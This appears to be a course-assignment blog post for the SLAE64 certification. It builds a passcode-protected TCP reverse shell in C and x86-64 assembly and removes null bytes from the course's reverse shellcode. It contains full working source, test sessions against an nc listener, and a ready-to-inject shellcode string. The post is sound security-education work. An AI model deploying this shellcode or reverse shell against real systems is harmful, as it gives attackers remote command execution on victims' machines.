SLAE64 - Assignment #2 - TCP Reverse Shell
Introduction
This is the blog post for the 2nd Assignment of the SLAE64 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 64-bit Assembly language for the Intel Architecture (IA-x86_64) family of processors on the Linux platform.
The purpose of this assignment is to create a TCP Reverse Shell. A Reverse Shell has a listener running on the attacker and the target connects back to the attacker with a shell. The communication happens over the TCP protocol. Also, the attacker has to provide a passcode and if it’s correct, then the shell gets executed.
Furthermore, the nullbytes (0x00
) have to be removed from the Reverse Shellcode of the course. So, the table below is used to navigate to the 2 parts of the assignment.
Part | Description |
---|---|
TCP Reverse Shell | TCP Reverse Shell with passcode |
Reverse Shellcode | Removing 0x00 from the Reverse Shellcode of the course |
My code can be found in my Github: geobour98’s Github.
TCP Reverse Shell
TCP Reverse Shell in C
The easiest way, in my opinion, to create a TCP Reverse Shell in Assembly
is to first create it in C
and then “translate” it to ASM code.
In order create the TCP Reverse Shell, a few Linux system calls (syscalls
) will be used. They can be found in the following table:
Syscall | Usage |
---|---|
socket | Creates an endpoint for communication |
connect | Initializes a connection on a socket |
dup2 | Duplicates a file descriptor |
read | Reads from a file descriptor |
execve | Executes a program |
exit | Terminates the calling process |
Declare the passcode that must be provided in order for the shell to be executed and its length:
1
2
char *p = "Password";
int length = strlen(p);
Create a socket:
1
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
Initialize the connection on a socket, initializing the structure for the TCP/IP address first:
1
2
3
4
5
6
7
struct sockaddr_in address = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr = inet_addr("127.1.1.1")
};
connect(sockfd, (struct sockaddr*) &address, sizeof(address));
Duplicate STDIN, STDOUT and STDERR file descriptors in order to redirect everything to the socket connected:
1
2
3
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
Attempt to read up to 64 bytes from the connection:
1
2
char pass[64];
read(sockfd, pass, 64);
Compare the passcode from the connection with the predefined and if they match execute the /bin/sh
program.
1
2
3
4
if (strncmp(pass, p, length) == 0)
{
execve("/bin/sh", NULL, NULL);
}
If the passcode from the connection doesn’t match with the predefined terminate the program.
1
2
3
4
else
{
exit(-1);
}
The whole C
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char *p = "Password";
int length = strlen(p);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in address = {
.sin_family = AF_INET,
.sin_port = htons(4444),
.sin_addr = inet_addr("127.1.1.1")
};
connect(sockfd, (struct sockaddr*) &address, sizeof(address));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
char pass[64];
read(sockfd, pass, 64);
if (strncmp(pass, p, length) == 0)
{
execve("/bin/sh", NULL, NULL);
}
else
{
exit(-1);
}
return 0;
}
Syscall Arguments
The arguments and their values for the syscalls will be explained later in the creation of the TCP Reverse Shell in Assembly.
In order to prove that the Reverse Shell is working we have to compile the C
program using the GNU Compiler (gcc
):
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ gcc reverse-c.c -o reverse-c
First, create a listener with nc
on port 4444
and wait for connections:
1
geobour98@slae64-dev:~$ nc -lvnp 4444
Then, in another terminal execute reverse-c
.
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ ./reverse-c
In the first terminal verify the incoming connection, provide the passcode: Password
and execute the commands id
and ls
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 54242)
Password
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
compile.sh
reverse-c
reverse-c.c
reverse-shellcode-course
reverse-shellcode-course.nasm
reverse-shellcode-course.o
reverse.nasm
exit
geobour98@slae64-dev:~$
Now we can check that with a wrong passcode the program is terminated. We execute again reverse-c
and listen with nc
. The program is indeed terminated.
1
2
3
4
5
geobour98@slae64-dev:~$ nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 54244)
WrongPassword
geobour98@slae64-dev:~$
Syscalls
In order to implement the syscalls in Assembly, we have to find their defined numbers. These are located at the header file: /usr/include/x86_64-linux-gnu/asm/unistd_64.h
.
The syscalls and their definitions can be found in the following table:
Syscall | Definition |
---|---|
socket | #define __NR_socket 41 |
connect | #define __NR_connect 42 |
dup2 | #define __NR_dup2 33 |
read | #define __NR_read 0 |
execve | #define __NR_execve 59 |
exit | #define __NR_exit 60 |
Now we have to find the arguments and their values in order to be used in the syscalls.
- Syscall
socket
:
1
int socket(int domain, int type, int protocol);
The domain
argument specifies a communication domain. Since we operate through IPv4 protocol, we will use the AF_INET
address family, which according to the socket header file: /usr/include/x86_64-linux-gnu/bits/socket.h
belongs to the PF_INET
protocol family. This protocol family is represented by the number 2
.
The type
argument specifies the communication semantics. We will use SOCK_STREAM
, since it provides sequenced, reliable, two-way, connection-based byte streams. According to the socket_type header file: /usr/include/x86_64-linux-gnu/bits/socket_type.h
, SOCK_STREAM
is represented by the number 1
.
The protocol
argument specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol
can be specified as 0
.
The return value from socket
is a file descriptor for the new socket, if socket was executed successfully.
- Syscall
connect
:
1
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
The sockfd
argument is the file descriptor returned from socket
execution. It is an integer value.
The *addr
argument is the address structure that will be assigned to the socket. The structure consists of 3 values. The first value is the AF_INET
, which from before is the number 2
. The second value is the port that the target will be connected to, which in our case is 4444
. The third value is the interface that the socket will connect to. We provide the value 127.1.1.1
in order to connect to the loopback interface (127.0.0.0/8
). Note that we avoid addresses like 127.0.0.1
(that contain 0
), so we don’t have nullbytes in the shellcode.
The addrlen
argument is the size, in bytes, of the address structure pointed to by addr
. According to the header file: /usr/include/linux/in.h
the size is 16
bytes.
- Syscall
dup2
:
1
int dup2(int oldfd, int newfd);
The argument oldfd
is the integer returned from socket
.
If the descriptor newfd
was previously open, it is silently closed before being reused. If oldfd
is a valid file descriptor, and newfd
has the same value as oldfd
, then dup2
does nothing, and returns newfd
. We execute dup2
3 times in order to pass the values: 0
for STDIN
, 1
for STDOUT
and 2
for STDERR
.
On success dup2
returns the new descriptor.
- Syscall
read
:
1
ssize_t read(int fd, void *buf, size_t count);
The fd
argument is the return value from the socket
syscall, which is an integer
The *buf
argument is the buffer, where the bytes from the file descriptor are stored.
The count
argument is the maximum number of bytes that will be read from the file descriptor.
On success read
returns the number of bytes read.
- Syscall
execve
:
1
int execve(const char *filename, char *const argv[], char *const envp[]);
The *filename
argument must be either a binary executable or a script, so we pass to it the executable “bin/sh”.
The argv
argument is an array of argument strings passed to the new program. The envp
argument is an array of strings, conventionally of the form “key=value”, which are passed as environment to the new program. Since we don’t need any of these we pass the value NULL
.
- Syscall
exit
:
1
void _exit(int status);
The status
argument is returned to the parent process as the process’s exit status, which in our case is -1
, declaring that the program terminated unsuccessfully when the passcode is wrong.
TCP Reverse Shell in Assembly
Now we will examine the Assembly
instructions in detail.
- Syscall
socket
We first clear the register RAX
and then add to it the hexadecimal value 0x29
, which in decimal is 41
.
1
2
xor rax, rax
add al, 0x29 ; 29 is the hex value of the decimal 41 for socket
Then we clear the RDI
register and add to it the value 2
, since it is the PF_INET
protocol family.
1
2
xor rdi, rdi
add rdi, 0x2 ; AF_INET numeric value from PF_INET protocol family
After that, we clear the RSI
register and add to it the value 1
, since this is the value of SOCK_STREAM
constant.
1
2
xor rsi, rsi
add rsi, 0x1 ; SOCK_STREAM constant from socket_type.h
We clear the RDX
register and the value 0
, because of the single protocol, is passed as the third argument to socket
syscall.
1
xor rdx, rdx ; 0 value because of single protocol
Then, in order to actulally execute the syscall, we run the following instruction:
1
syscall ; exec socket syscall
The socket
syscall returns a file descriptor (sockfd
), so we copy it to the RDI
register, since the result of the syscall is saved in the RAX
register by default.
1
mov rdi, rax ; move sockfd (file descriptor) value into rdi
- Syscall
connect
We clear the RAX
register and push the value 0
to the stack.
1
2
xor rax, rax
push rax
We start with the values for the address
structure.
We move the hexadecimal value 0x0101017f
, which is the address 127.1.1.1
in little endian representation, where RSP
points minus 4 bytes so the socket connects to the loopback interface (127.0.0.0/8
).
1
mov dword [rsp - 4], 0x0101017f ; connect to localhost (127.1.1.1) (little endian)
Then, since we are dealing with little endianness the port with decimal value 4444
and hexadecimal 115c
, becomes 5c11
.
1
mov word [rsp - 6], 0x5c11 ; listen on port 4444 (little endian)
After that, we move the value 2
, where RSP
points minus 8 bytes, for the AF_INET
constant.
1
mov byte [rsp - 8], 0x2 ; AF_INET constant
We restore RSP
register that now points at the top of the stack.
1
sub rsp, 8 ; rsp points at the top of the stack
We add the hexadecimal value 0x2a
, which in decimal is 42
, for the connect
syscall.
1
add al, 0x2a ; 2a is the hex value of the decimal 42 for connect
The RDI
register already contains the value of sockfd
from socket
.
The RSI
register now points at the top of the stack, where is the address struct.
1
mov rsi, rsp ; rsi now points at address struct at the top of the stack
We clear the RDX
register, and pass the hexadecimal value 0x10
(16
in decimal), since that is the size of the address struct.
1
2
xor rdx, rdx
add rdx, 0x10 ; 10 is the decimal 16 that is the size of the address struct
The final step is to execute the connect
syscall.
1
syscall ; exec connect syscall
- Syscall
dup2
The RDI
register already contains the value of sockfd
from socket
.
We create a loop that will execute dup2
3 times for STDERR
, STDOUT
and STDIN
respectively. So, we clear the RSI
register and add the value 0x3
to it, which is the counter for the loop.
1
2
xor rsi, rsi
add rsi, 0x3 ; set counter to 3
We first declare the procedure dup2loop
, which acts like a function, where we clear the RAX
register and add the hexadecimal value 0x21
(33
in decimal) to it as the dup2
syscall number. Then, we decrement the counter (RSI
) by 1, so in the first iteration the value inside RSI
will be 2
, representing the STDERR
. 2 more iterations will happen with value 1
and 0
for STDOUT
and STDIN
respectively. Each iteration is finished by executing the dup2
syscall and by creating a conditional instruction. That instruction checks if the Zero Flag (ZF
) is set, meaning it has value 0
, and if it is, the loop is stopped and the execution is continued. If it is not 0
a jump
happens back to dup2loop
. In the third iteration, RSI
is decremented to 0
, so the ZF
is set, and the execution will continue to the next instructions and there will not be a jump back to dup2loop
.
1
2
3
4
5
6
7
8
9
dup2loop:
xor rax, rax
add al, 0x21 ; 21 is the hex value of the decimal 33 for dup2
dec rsi ; decrement counter by 1
syscall ; exec dup2 syscall
jnz dup2loop ; jump to loop if ZF is not zero, else continue
- Syscall
read
We clear the RAX
register in order to have the value 0
as the read
syscall number and RSI
points at the top of the stack.
1
2
3
xor rax, rax ; 0 for read syscall
mov rsi, rsp
We clear the RDX
register and add to it the value 8
as the size of the password that is going to be read.
1
2
xor rdx, rdx
add dl, 8 ; read size
Finally, we execute the read
syscall.
1
syscall ; exec read syscall
RDI
register points at the top of the stack, where the provided password is from the read
syscall.
1
mov rdi, rsp ; password in buffer
Now we have to pass the correct passcode, which is Password
, to RAX
in order to compare it with the one from read
syscall. But we have to pass it in reverse since we are dealing with little endianness. The following python
script will help us achieve that.
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
import sys
input = sys.argv[1]
print 'String length: ' + str(len(input))
stringList = [input[i:i+8] for i in range(0, len(input), 8)]
for item in stringList[::-1]:
print item[::-1] + ' : ' + str(item[::-1].encode('hex'))
We run the above script by providing the correct password (Password
) we want to be reversed.
1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ ./reverse.py Password
String length: 8
drowssaP : 64726f7773736150
Now we move that value to the RAX
register.
1
mov rax, 0x64726f7773736150 ; "drowssaP"
Next, we are using the scasq
instruction, which compares memory to register. The value in memory is the buffer with the password from the read
syscall and the register that is compared is RAX
by default, where we have stored the correct passcode.
1
scasq ; compare string in buffer with passcode
If the 2 values are the same, the provided passcode matches with the correct one, the Zero Flag (ZF
) is set. So, the next instruction is ignored and the execve
syscall is executed. If they don’t match, which means that the passcode is wrong, we jump to the exit
procedure.
1
jnz exit ; if they don't match jmp to exit
- Syscall
exit
We clear the RAX
register and add to it the hex value 0x3c
(60
in decimal) as the exit
syscall number.
1
2
3
exit:
xor rax, rax
add rax, 0x3c ; 3c is the hex value of the decimal 60 for exit
Then, we clear the RDI
register and decrement its value to -1
in order to set the status and exit the program unsuccessfully.
1
2
xor rdi, rdi
dec rdi ; status
Finally, we execute the exit
syscall.
1
syscall ; exec exit syscall
- Syscall
execve
We clear the RAX
register and push the value 0
to the stack.
1
2
xor rax, rax
push rax
Since “/bin/sh” is only 7 bytes, we need to make it 8 bytes. That is because when a string is pushed to the stack it must be multiplied by 8. The safest way to do that, without breaking any functionality, is to add a /
. So we will use the same python
script like before to reverse the “/bin//sh” string.
1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ ./reverse.py "/bin//sh"
String length: 8
hs//nib/ : 68732f2f6e69622f
Now we save that in RBX
register and then push it to the stack.
1
2
mov rbx, 0x68732f2f6e69622f ; "hs//nib/"
push rbx
RDI
points at the top of the stack, where is the string “/bin//sh” as the first argument for execve
.
1
mov rdi, rsp ; rdi points at "/bin//sh" at the top of the stack
Then, we push another NULL
and save the current RSP
memory address to RDX
as the third argument from execve
.
1
2
3
push rax ; NULL
mov rdx, rsp ; rdx points at the top of the stack
We push the memory address of the string “/bin//sh” to the stack and save that memory location to RSI
as the second argument for execve
.
1
2
3
push rdi
mov rsi, rsp
We add to RAX
the hex value 0x3b
(59
in decimal) as the syscall number for execve
.
1
add al, 0x3b ; 3b is the hex value of the decimal 59 for execve
Finally, we execute the execve
syscall.
1
syscall ; exec execve syscall
The whole Assembly
program is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
global _start
_start:
; socket
xor rax, rax
mov al, 0x29 ; 29 is the hex value of the decimal 41 for socket
xor rdi, rdi
add rdi, 0x2 ; AF_INET numeric value from PF_INET protocol family
xor rsi, rsi
add rsi, 0x1 ; SOCK_STREAM constant from socket_type.h
xor rdx, rdx ; 0 value because of single protocol
syscall ; exec socket syscall
mov rdi, rax ; move sockfd (file descriptor) value into rdi
; connect
xor rax, rax
push rax
mov dword [rsp - 4], 0x0101017f ; connect to localhost (127.1.1.1) (little endian)
mov word [rsp - 6], 0x5c11 ; connect to port 4444 (little endian)
mov byte [rsp - 8], 0x2 ; AF_INET constant
sub rsp, 8 ; rsp points at the top of the stack
add al, 0x2a ; 2a is the hex value of the decimal 42 for connect
mov rsi, rsp ; rsi now points at address struct at the top of the stack
xor rdx, rdx
add rdx, 0x10 ; 10 is the decimal 16 that is the size of the address struct
syscall ; exec connect syscall
; dup2
xor rsi, rsi
add rsi, 0x3 ; set counter to 3
dup2loop:
xor rax, rax
add al, 0x21 ; 21 is the hex value of the decimal 33 for dup2
dec rsi ; decrement counter by 1
syscall ; exec dup2 syscall
jnz dup2loop ; jump to loop if ZF is not zero, else continue
; read
xor rax, rax ; 0 for read syscall
mov rsi, rsp
xor rdx, rdx
add dl, 8 ; read size
syscall ; exec read syscall
mov rdi, rsp ; password in buffer
mov rax, 0x64726f7773736150 ; "drowssaP"
scasq ; compare string in buffer with passcode
jnz exit ; if they don't match jmp to exit
; execve
xor rax, rax
push rax
mov rbx, 0x68732f2f6e69622f ; "hs//nib/"
push rbx
mov rdi, rsp ; rdi points at "/bin//sh" at the top of the stack
push rax ; NULL
mov rdx, rsp ; rdx points at the top of the stack
push rdi
mov rsi, rsp
add rax, 0x3b ; 3b is the hex value of the decimal 59 for execve
syscall ; exec execve syscall
exit:
xor rax, rax
add rax, 0x3c ; 3c is the hex value of the decimal 60 for exit
xor rdi, rdi
dec rdi ; status
syscall ; exec exit syscall
Testing the Reverse Shell
In order to test the Reverse Shell, we need to compile it. Compilation process consists of 2 separate processes:
- Assembling: can happen with the
nasm
assembler, which assembles the input file (.nasm
) and directs output to the output file (.o
) if specified. It basically “translates” theAssembly
code. - Linking: can happen with the GNU linker
ld
, which combines a number of object and archive files, relocates their data and ties up symbol references. It basically provides information such as where the entry point of a program is. By default the entry point is_start
but this can be changed.
The following bash
script automates that process:
1
2
3
4
5
6
7
8
9
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -felf64 -o $1.o $1.nasm
echo '[+] Linking ... '
ld -o $1 $1.o
echo '[+] Done!'
The following command does the compilation and creates the executable reverse
:
1
2
3
4
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ ./compile.sh reverse
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
We test the Reverse Shell by creating a listener on port 4444
with nc
in one terminal window and in another we execute the executable reverse
. Then, back to the first we verify the incoming connection, provide the passcode: Password
and execute the commands id
and ls
.
1st window:
1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ nc -lvnp 4444
2nd window:
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ ./reverse
1st window again:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 46224)
Password
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
compile.sh
reverse
reverse-c
reverse-c.c
reverse-shellcode-course
reverse-shellcode-course.nasm
reverse-shellcode-course.o
reverse.nasm
reverse.o
reverse.py
exit
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$
Now we can check that with a wrong passcode the program is terminated. We execute again reverse
and listen with nc
. The program is indeed terminated.
1
2
3
4
5
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 46226)
WrongPassword
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$
Reverse Shellcode
The initial version of the Reverse Shellcode of the course, which contained nullbytes, is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
mov rax, 41
mov rdi, 2
mov rsi, 1
mov rdx, 0
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp - 4], 0x0100007f
mov word [rsp - 6], 0x5c11
mov word [rsp - 8], 0x2
sub rsp, 8
; connect(sock, (struct sockaddr *)&server, sockaddr_len)
mov rax, 42
mov rsi, rsp
mov rdx, 16
syscall
; duplicate sockets
; dup2 (new, old)
mov rax, 33
mov rsi, 0
syscall
mov rax, 33
mov rsi, 1
syscall
mov rax, 33
mov rsi, 2
syscall
; first null push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; second null push
push rax
; set RDX
mov rdx, rsp
; push address pf /bin//sh
push rdi
; set RSI
mov rsi, rsp
; call execve
add rax, 59
syscall
In order to view those 0x00
we compile reverse-shellcode-course.nasm
and use the objdump
program, which displays information from object files, by displaying assembler contents and instructions in Intel syntax.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ ./compile.sh reverse-shellcode-course
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ objdump -d ./reverse-shellcode-course -M intel
./reverse-shellcode-course: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b8 29 00 00 00 mov eax,0x29
400085: bf 02 00 00 00 mov edi,0x2
40008a: be 01 00 00 00 mov esi,0x1
40008f: ba 00 00 00 00 mov edx,0x0
400094: 0f 05 syscall
400096: 48 89 c7 mov rdi,rax
400099: 48 31 c0 xor rax,rax
40009c: 50 push rax
40009d: c7 44 24 fc 7f 00 00 mov DWORD PTR [rsp-0x4],0x100007f
4000a4: 01
4000a5: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
4000ac: 66 c7 44 24 f8 02 00 mov WORD PTR [rsp-0x8],0x2
4000b3: 48 83 ec 08 sub rsp,0x8
4000b7: b8 2a 00 00 00 mov eax,0x2a
4000bc: 48 89 e6 mov rsi,rsp
4000bf: ba 10 00 00 00 mov edx,0x10
4000c4: 0f 05 syscall
4000c6: b8 21 00 00 00 mov eax,0x21
4000cb: be 00 00 00 00 mov esi,0x0
4000d0: 0f 05 syscall
4000d2: b8 21 00 00 00 mov eax,0x21
4000d7: be 01 00 00 00 mov esi,0x1
4000dc: 0f 05 syscall
4000de: b8 21 00 00 00 mov eax,0x21
4000e3: be 02 00 00 00 mov esi,0x2
4000e8: 0f 05 syscall
4000ea: 48 31 c0 xor rax,rax
4000ed: 50 push rax
4000ee: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
4000f5: 2f 73 68
4000f8: 53 push rbx
4000f9: 48 89 e7 mov rdi,rsp
4000fc: 50 push rax
4000fd: 48 89 e2 mov rdx,rsp
400100: 57 push rdi
400101: 48 89 e6 mov rsi,rsp
400104: 48 83 c0 3b add rax,0x3b
400108: 0f 05 syscall
The majority of the changes were to convert an instruction: mov rax, 41
to 2 instructions: xor rax, rax
and add al, 41
in order to remove nullbytes and preserve the functionality. So, the updated version (reverse-shellcode-course.nasm
) is the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
global _start
_start:
mov al, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
add rsi, 1
xor rdx, rdx
syscall
mov rdi, rax
xor rax, rax
push rax
mov dword [rsp - 4], 0x0101017f
mov word [rsp - 6], 0x5c11
mov byte [rsp - 8], 0x2
sub rsp, 8
add rax, 42
mov rsi, rsp
xor rdx, rdx
add rdx, 16
syscall
xor rax, rax
add rax, 33
xor rsi, rsi
syscall
xor rax, rax
add rax, 33
add rsi, 1
syscall
xor rax, rax
add rax, 33
add rsi, 1
syscall
xor rax, rax
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
push rax
mov rdx, rsp
push rdi
mov rsi, rsp
add rax, 59
syscall
After compilation and execution of the objdump
program we can see that there are no nullbytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ ./compile.sh reverse-shellcode-course
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ objdump -d ./reverse-shellcode-course -M intel
./reverse-shellcode-course: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b0 29 mov al,0x29
400082: 48 31 ff xor rdi,rdi
400085: 48 83 c7 02 add rdi,0x2
400089: 48 31 f6 xor rsi,rsi
40008c: 48 83 c6 01 add rsi,0x1
400090: 48 31 d2 xor rdx,rdx
400093: 0f 05 syscall
400095: 48 89 c7 mov rdi,rax
400098: 48 31 c0 xor rax,rax
40009b: 50 push rax
40009c: c7 44 24 fc 7f 01 01 mov DWORD PTR [rsp-0x4],0x101017f
4000a3: 01
4000a4: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
4000ab: c6 44 24 f8 02 mov BYTE PTR [rsp-0x8],0x2
4000b0: 48 83 ec 08 sub rsp,0x8
4000b4: 48 83 c0 2a add rax,0x2a
4000b8: 48 89 e6 mov rsi,rsp
4000bb: 48 31 d2 xor rdx,rdx
4000be: 48 83 c2 10 add rdx,0x10
4000c2: 0f 05 syscall
4000c4: 48 31 c0 xor rax,rax
4000c7: 48 83 c0 21 add rax,0x21
4000cb: 48 31 f6 xor rsi,rsi
4000ce: 0f 05 syscall
4000d0: 48 31 c0 xor rax,rax
4000d3: 48 83 c0 21 add rax,0x21
4000d7: 48 83 c6 01 add rsi,0x1
4000db: 0f 05 syscall
4000dd: 48 31 c0 xor rax,rax
4000e0: 48 83 c0 21 add rax,0x21
4000e4: 48 83 c6 01 add rsi,0x1
4000e8: 0f 05 syscall
4000ea: 48 31 c0 xor rax,rax
4000ed: 50 push rax
4000ee: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
4000f5: 2f 73 68
4000f8: 53 push rbx
4000f9: 48 89 e7 mov rdi,rsp
4000fc: 50 push rax
4000fd: 48 89 e2 mov rdx,rsp
400100: 57 push rdi
400101: 48 89 e6 mov rsi,rsp
400104: 48 83 c0 3b add rax,0x3b
400108: 0f 05 syscall
The updated reverse shellcode can be seen below in one line:
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ objdump -d ./reverse-shellcode-course |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xb0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x83\xc6\x01\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\x7f\x01\x01\x66\xc7\x44\x24\xfa\x11\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x48\x83\xc0\x2a\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x83\xc6\x01\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x83\xc6\x01\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
Also, in order to prove the functionality of the reverse shell we create a listener on port 4444
with nc
in one terminal window and in another we execute the reverse executable. Then, back to the first we verify the incoming connection and run the commands id
and ls
.
1st window:
1
geobour98@slae64-dev:~$ nc -lvnp 4444
2nd window:
1
2
geobour98@slae64-dev:~/SLAE/custom/SLAE64/2_Shell_reverse_tcp$ ./reverse-shellcode-course
1st window again:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 54234)
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
compile.sh
reverse-c
reverse-c.c
reverse-shellcode-course
reverse-shellcode-course.nasm
reverse-shellcode-course.o
reverse.nasm
exit
geobour98@slae64-dev:~$
Summary
We have a working TCP Reverse Shell that connects to port 4444, waits for the correct passcode and if we provide the correct one, we can execute commands. Also, the nullbytes have been removed from the Reverse Shellcode of the course.
Next will be the Egg Hunter shellcode!
SLAE64 Blog Post
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=7
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/Student ID: PA-36167